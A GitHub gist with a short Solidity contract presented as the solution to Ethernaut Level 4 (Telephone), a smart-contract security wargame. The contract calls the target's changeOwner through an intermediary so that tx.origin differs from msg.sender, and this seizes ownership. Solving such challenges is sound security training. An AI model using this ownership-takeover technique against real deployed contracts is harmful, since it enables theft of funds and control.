-
-
Save Chirag21/68c72b49964cd3ddae71aab96f293939 to your computer and use it in GitHub Desktop.
Solution for Ethernaut Level 4 - Telephone. For Remix IDE
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.17; | |
interface ITelephone { | |
function changeOwner(address) external; | |
} | |
contract TelephoneHack { | |
ITelephone private telephone; | |
// Pass the instance address to the constructor | |
constructor(address _telephone) { | |
telephone = ITelephone(_telephone); | |
} | |
function changeOwner(address newOwner) external { | |
telephone.changeOwner(newOwner); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment